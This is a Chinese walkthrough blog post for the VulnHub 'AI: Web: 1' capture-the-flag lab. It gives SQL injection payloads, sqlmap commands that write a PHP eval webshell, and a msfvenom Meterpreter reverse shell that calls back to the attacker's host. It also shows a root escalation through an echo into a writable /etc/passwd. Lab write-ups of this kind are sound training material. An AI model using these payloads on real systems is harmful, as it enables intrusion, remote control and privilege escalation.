vulnhub靶场渗透系列-- AI:web:1

AI:web:1

前言

前面给大家讲解了外网和内网渗透的相关知识和技术,以及各种工具的使用,在我们渗透中都会遇到,接下来我们需要进行靶场的练习和渗透了,这也是一个提升渗透能力的方法,这里给大家推荐几个比较好的额靶场,vulnhub和红日靶场(http://vulnstack.qiyuanxuetang.net),个人觉得红日靶场做的很好,可以全方位从外到内进行渗透,能学习到很多知识点。

靶机地址

https://www.vulnhub.com/entry/ai-web-1,353/

工具、知识点和漏洞

arp-scan -l
dirsearch
dirb
sqlmap
burpsuite
metasploit
msfvenom
SQL注入
/etc/passwd提权

存疑、待解决

在这个靶机中,如何使用–sql-query 在 uploads 目录下写入 webshell

一、信息收集

首先我们打开靶机,进行ip的探测
在这里插入图片描述

arp -scan -l
在这里插入图片描述

我们可以看到是192.168.231.150的地址,我们扫描一下端口的开放信息,同样进行全端口扫描
nmap -sS -sV -p- 192.168.231.150
在这里插入图片描述
发现只开放了80端口,我们查看你一下80端口的服务
http://192.168.231.150:80在这里插入图片描述

什么也没有,那只能去目录了,看看有什么可用的信息,我们用disrearch工具去扫目录
python3 dirsearch.py -u “http://192.168.231.150/”
在这里插入图片描述
发现有一个robots.txt文件存在,我们查看一下内容
在这里插入图片描述

http://192.168.231.150/robots.txt
User-agent: *
Disallow:
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

发现里面有两个目录,我们都分别看一下有什么信息
在这里插入图片描述
http://192.168.231.150/m3diNf0/
在这里插入图片描述
http://192.168.231.150/se3reTdir777/uploads/
在这里插入图片描述
给出的两个目录下的路径都打不开,我们再试一下这个路径
http://192.168.231.150/se3reTdir777/
在这里插入图片描述
发现存在有提交框在这里插入图片描述

二、SQL注入

这不就是单纯的SQL注入吗,我们验证一下,我们输入单引号,直接报错
在这里插入图片描述

在这里插入图片描述
我们直接进行一波操作,查库,表,字段,字段信息内容,上语句,先查看一下有多少个字段,我们输入’order by 3-- ,返回正确,这里由于做完实验后,数据库连接不上了,就不上图了,大家知道方法就好了,我们直接构造payload进行查询就好了

输入’ union select 1,database(),3-- ,在第二个字段处返回aiweb1,当前数据库为aiweb1

查表
’ union select table_name,table_schema,3 from information_schema.tables where table_schema=database()–
返回了连个表:systemUser,user

查表中的字段
’ union select 1,2,column_name from information_schema.columns where table_schema=‘aiweb1’ and table_name=‘systemUser’–
’ union select 1,2,column_name from information_schema.columns where table_schema=‘aiweb1’ and table_name=‘user’–
在这里插入图片描述
systemUser:id,userName,password
user:id,firstName,lastName
我们猜测数据库的账号和密码就在systemUser表中

查字段信息
’ union select id,userName,password from aiweb1.systemUser–

字段信息:
Id:1
First Name: t00r
Last Name: RmFrZVVzZXJQYXNzdzByZA==(base64加密)
FakeUserPassw0rd(通过base64解密后的明文密码)

Id:2
First Name: aiweb1pwn
Last Name: TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==
MyEvilPass_f908sdaf9_sadfasf0sa

Id:3
First Name: u3er
Last Name: TjB0VGhpczBuZUFsczA=
N0tThis0neAls0

但是似乎没有什么用,看看还有什么信息可以利用,我们分别在扫一下得到的路径的目录
python3 dirsearch.py -u “http://192.168.231.150/se3reTdir777/uploads/”

http://192.168.231.150/se3reTdir777/
http://192.168.231.150/se3reTdir777/uploads/
在这里插入图片描述
在这里插入图片描述
还是没有什么信息,下面连个可用的路径都是一样的,我们再看另外一个路径
python3 dirsearch.py -u “http://192.168.231.150//m3diNf0/”

http://192.168.231.150//m3diNf0/
在这里插入图片描述
发现存在一个info.php文件,这不是那个phpinfo信息吗,我们访问一下
在这里插入图片描述
发现了网站的根路径
/home/www/html/web1x443290o2sdf92213

只有知道物理路径我们才有可能获取 webshell,重新尝试–os-shell 第一次使用的路径是
/home/www/html/web1x443290o2sdf92213/,没有成功,可能是没有写入权限。想到之前个/se3reTdir777/uploads/目录,作为上传目录应该是有写入权限的,一试果然可以。
在这里插入图片描述
之后执行 sudo -l,然后又出了点问题,我为什么要一根筋的一直用 os-shell呢
在这里插入图片描述
想在 uploads 目录下写入一个 shell,先后开始用了–sql-shell、–sql-query,结
果提示:execution of non-query SQL statements is only available when stacked
queries are supported。

我给SQL注入页面抓了一个包,放在1.txt文件里进行扫描
python3 sqlmap.py -r C:/Users/admin/Desktop/1.txt --sql-query=‘select “<?php @eval($_POST[cmd]); ?>” INTO OUTFILE “/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php”’
在这里插入图片描述
数据库断开了,所以出现报错
在这里插入图片描述
通过–sql-query发现插不进去,采用另一个办法用file-dest写入

三、提权

file-dest 写入 webshell

尝试使用–file-dest 将 webshell 写入到 uploads 目录 先使用 msfvenom 生成 shell
代码,记得把生成的 shell 代码的最前面两个字符/*,其实去不去掉,无所谓,不影响后面反弹的会话,一样可获得flag。

通过msfvenom来生成一个php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.231.128 LPORT=5555 R > shell.php
在这里插入图片描述

发现已经生成了
在这里插入图片描述
cat hao.php 查看php里面的内容,是一个php文件的木马,用来反弹shell的
在这里插入图片描述

接下来我们把马上传到数据库的upload目录下,我们需要在kali中打开sqlmap,将刚才1.txt文件传到kali中,输入以下语句
sqlmap -r /home/zhian/test/1.txt --file-write /home/zhian/test/hao.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hao.php
在这里插入图片描述
发现执行成了,成功写入了
在这里插入图片描述
我们执行一下
http://192.168.231.150/se3reTdir777/uploads/hao.php
在这里插入图片描述
执行成功了,我们回到msf中进行监听,设置好参数
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.231.128
set lport 1234
options
run
在这里插入图片描述
我们在执行一下,刚才的那个路径
http://192.168.231.150/se3reTdir777/uploads/hao.php
在这里插入图片描述
返回了会话
执行一下getsystem提升不了权限,我们输入shell,在shell中进行提权,输入以下语句用于返回一个shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
在这里插入图片描述
我们查看一下内核版本信息,是4.15版本的
4.15.0-64-generic
在这里插入图片描述
我们搜索4.15有什么漏洞
searchsploit linux 4.15

有四个本地权限提升的漏洞,我只试了第一个,因为需要靶机安装了 gcc 才能进
行后续操作,而安装的时候需要使用 sudo 命令,我们不知道 www-data 用户的登
录密码,所以放弃。
在这里插入图片描述
cat /etc/passwd
发现有这么几个用户: aiweb1 aiweb1pw
在这里插入图片描述
普通用户:
aiweb1❌1000:1000:AIWEB1:/home/aiweb1:/bin/bash
aiweb1pwn❌1001:1001::/home/aiweb1pwn:/bin/sh

在/home/www/html/web1x443290o2sdf92213/se3reTdir777/目录下发现一个
c0nFil3bd.php,浏览器访问时无内容。cat 打开之后发现是个数据库连接配置文
件,里面有用户名密码 aiweb1user/wGuDisZiTkLhuiH_z_zZQXXi,然而没什么用。

cd /home/www/html/web1x443290o2sdf92213/se3reTdir777/
cat c0nFil3bd.php

<?php //*** CONNECT TO DATABASE ***/ $conn = mysqli_connect("localhost","aiweb1user","wGuDisZiTkLhuiH_z_zZQXXi","aiweb1"); if (mysqli_connect_errno()){ echo "Failed to connect to MySQL: " . mysqli_connect_error(); die(); } ?>

在这里插入图片描述
数据库密码
aiweb1user
wGuDisZiTkLhuiH_z_zZQXXi

Find SUID

find / -perm -u=s -type f 2>/dev/null
没有发现可用的 SUID 权限可执行程序,常见的 SUID 提权程序如下:
nmap,vim,less,more,nano,cp,mv,find,bash

www-data 用户执行 sudo 命令需要密码,而且我们也不知道 www-data 用户在不在/etc/sudoers 中。

寻找无果后,我们进行进行如何提权的问题:
全局可写文件夹、文件
find / -writable -type d 2>/dev/null #文件夹
find / -writable -type f 2>/dev/null #文件
在这里插入图片描述

在最后终于找到了/etc/passwd
在这里插入图片描述
ls -la /etc/passwd
-rw-r–r-- 1 www-data www-data 1664 Aug 21 2019 /etc/passwd 有可读写的权限

添加用户名密码到/etc/passwd

www-data 用户具有/etc/passwd 的可写权限。添加一个用户到/etc/passwd 文件中

关于Linux提权和利用suid提权,大家可以看这篇文章Linux提权和利用suid提权方法

将密码用盐生成密码hash
perl -le ‘print crypt(“Ai:Web:1.0”,“salt”)’

将用户ins1ght和密码Ai:Web:1.0,生成的密码hash添加到 入/etc/passwd中
echo “ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash” >> /etc/passwd
在这里插入图片描述

cat /etc/passwd | grep ins1gh
ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash
在这里插入图片描述
查看已经存在/etc/passwd文件中了
在这里插入图片描述
使用 su ins1ght 切换账户,密码是:Ai:Web:1.0

我们来查看flag所在位置,输入以下语句:
find / -name flag*
在这里插入图片描述

在/root/flag.txt路径下
在这里插入图片描述
我们直接输入cd /root
在这里插入图片描述
cat flag.txt
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
我们就拿到flag了。

后记

这里,我们就完成了靶机的练习了,本次实验相对来说,较简单,没有太多的绕弯,直接获取到了shell,但是到提权那里就有点难度了,是通过写入/etc/passwd文件来提权的,在实战中比较少见,大家可以把它作为一条思路来利用。下次有空的话,给大家讲讲红日靶场的渗透过程吧。

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
403 - forbidden 禁止访问是一种常见的网络错误状态码,在xss靶场中表示访问被拒绝。 当我们在访问xss靶场时,如果遇到403错误,意味着我们没有足够的权限或者没有通过认证来访问该资源。403错误一般由服务器返回,用于告诉客户端请求的资源被禁止访问。 造成403错误的原因有多种可能,以下是一些常见的情况: 1. 权限不足:我们可能没有足够的权限来访问该资源,例如需要登录或者注册才能获得访问权限。在xss靶场中,为了保护敏感信息和用户数据免受未经授权的访问,可能会对某些资源进行权限限制。 2. 访问限制:某些场景下,服务器可能会对特定的IP地址、用户或者区域设置访问限制。这种限制可能是为了防止恶意攻击或者保护特定数据免受未经授权的访问。 3. 路径错误:有时候我们可能会访问错误的路径或者链接,导致服务器无法找到资源返回403错误。在xss靶场中,通常会有多个路径和链接,对每个资源进行了独立的设置和限制,如果我们访问的路径不存在或者错误,就会返回403错误。 当我们遇到403错误时,可以尝试以下几个解决办法: 1. 检查权限和认证:确保我们已经登录或者注册,并且获得了足够的权限来访问该资源。 2. 检查路径和链接:确认我们访问的路径或者链接是否错误或者不存在,避免访问错误的资源。 3. 联系管理员:如果以上方法都无法解决问题,我们可以尝试联系xss靶场的管理员,向其报告问题,以便获得更多的帮助和支持。 总结来说,403错误表示我们的访问被拒绝,可能是因为权限不足、访问限制或者路径错误等原因造成的。解决该问题需要检查权限和认证、确认路径和链接是否正确,并在需要时联系管理员寻求帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值